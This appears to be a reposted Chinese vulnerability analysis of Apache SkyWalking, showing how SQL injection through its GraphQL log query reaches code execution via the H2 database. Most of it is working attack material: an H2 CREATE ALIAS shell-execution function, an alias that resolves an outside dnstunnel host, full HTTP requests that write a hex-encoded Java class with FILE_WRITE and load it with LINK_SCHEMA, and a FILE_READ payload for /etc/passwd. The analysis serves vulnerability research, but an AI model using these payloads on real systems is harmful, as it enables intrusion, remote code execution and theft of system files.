0x01 H2db的命令执行
0x01.1 环境搭建
从
http://www.h2database.com/html/download.html
下载编译好的包:
解压后进入bin目录执行h2.sh:
然后会跳出网站来:
0x01.2 漏洞复现
默认用户名sa密码为空:
通过创建别名调用java代码来执行命令:
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd)throws java.io.IOException { java.util.Scanners=newjava.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\A"); return s.hasNext() ? s.next() : ""; }$$;
CALL SHELLEXEC('id');
如果无法使用除127.0.0.1的IP登录无法登陆时,就先使用127.0.0.1的IP登录:
0x02 SkyWalking的命令执行
在H2数据库中,使用CREATE ALIAS创建新的函数,这个函数可以是数据库语句,也可以是一段java代码,例子如下:
CREATE ALIAS IP_ADDRESS AS $$
import java.net.*;
String ipAddress(String host)throws Exception {
return InetAddress.getByName(host).getHostAddress();
}
$$;
CALL IP_ADDRESS('nntkwpllgk.dnstunnel.run');
限制在于创建函数时,需要单独的一句,在SQL注入中也就是需要堆叠注入才能实现RCE,在SkyWalking中使用了connection.prepareStatement(sql),这只能编译一条语句,想要编译多条语句则需要使用 addBatch 和 executeBatch:
根据阿里云的分析文章(https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw)可以用FILE_WRITE和LINK_SCHEMA两个函数结合使用就能完成RCE:
0x02.1 调试
FILE_WRITE是在h2包中的org.h2.expression.Function:
经过SQL注入后会进入到FILE_WRITE分支,第一步则是判断登录用户是否是admin:
写入文件的位置在:
LINK_SCHEM位于h2db包中的org.h2.expression.Function:
经过Resolver后会进入LINK_SCHEMA,第一步同样是判断登录用户是否是amdin:
然后走到LinkSchema.linkSchema方法中:
紧接着就走到JdbcUtils.getConnection方法中,在这里面会加载从前端输入的class名:
在JdbcUtils.getConnection里面是通过Class.forName去加载class造成命令执行漏洞:
文件写入:
POST /graphql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
{
"query": "query queryLogs($condition: LogQueryCondition) {
logs: queryLogs(condition: $condition) {
data: logs {
serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
}
total
}
}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select file_write('CAFEBABE0000003200210A000800120A001300140800150A001300160700170A0005001807001907001A0100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100083C636C696E69743E01000D537461636B4D61705461626C6507001701000A536F7572636546696C650100094576696C2E6A6176610C0009000A07001B0C001C001D0100126F70656E202D612043616C63756C61746F720C001E001F0100136A6176612F6C616E672F457863657074696F6E0C0020000A0100044576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B01000F7072696E74537461636B547261636500210007000800000000000200010009000A0001000B0000001D00010001000000052AB70001B100000001000C000000060001000000030008000D000A0001000B0000004F0002000100000012B800021203B6000457A700084B2AB60006B1000100000009000C00050002000C0000001600050000000600090009000C0007000D00080011000A000E0000000700024C07000F0400010010000000020011','TouchFile.class'))a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
触发命令执行:
POST /graphql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
{
"query": "query queryLogs($condition: LogQueryCondition) {
logs: queryLogs(condition: $condition) {
data: logs {
serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content
}
total
}
}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS union all select LINK_SCHEMA('TEST2','TouchFile','jdbc:h2:./test2','sa','sa','PUBLIC'))a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageNum": 1,
"pageSize": 1,
"needTotal": true
}
}
}
}
也可以用文件读取的操作:
POST/graphql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
{
"query": "query queryLogs($condition: LogQueryCondition) {n queryLogs(condition: $condition) {n logs{n content }n }}",
"variables": {
"condition": {
"metricName": "INFORMATION_SCHEMA.USERS) union SELECT FILE_READ('/etc/passwd', NULL) where ?=1 or ?=1 or 1=1--",
"paging": {
"pageNum": 1,
"pageSize": 1
},
"state":ALL,
"queryDuration": {
"start": "2021-02-07 1554",
"end": "2021-02-07 1554",
"step": "MINUTE"
}
}
}
}
![漏洞分析 | Apache SkyWalking从SQL注入到RCE]()
END
原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | Apache SkyWalking从SQL注入到RCE
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论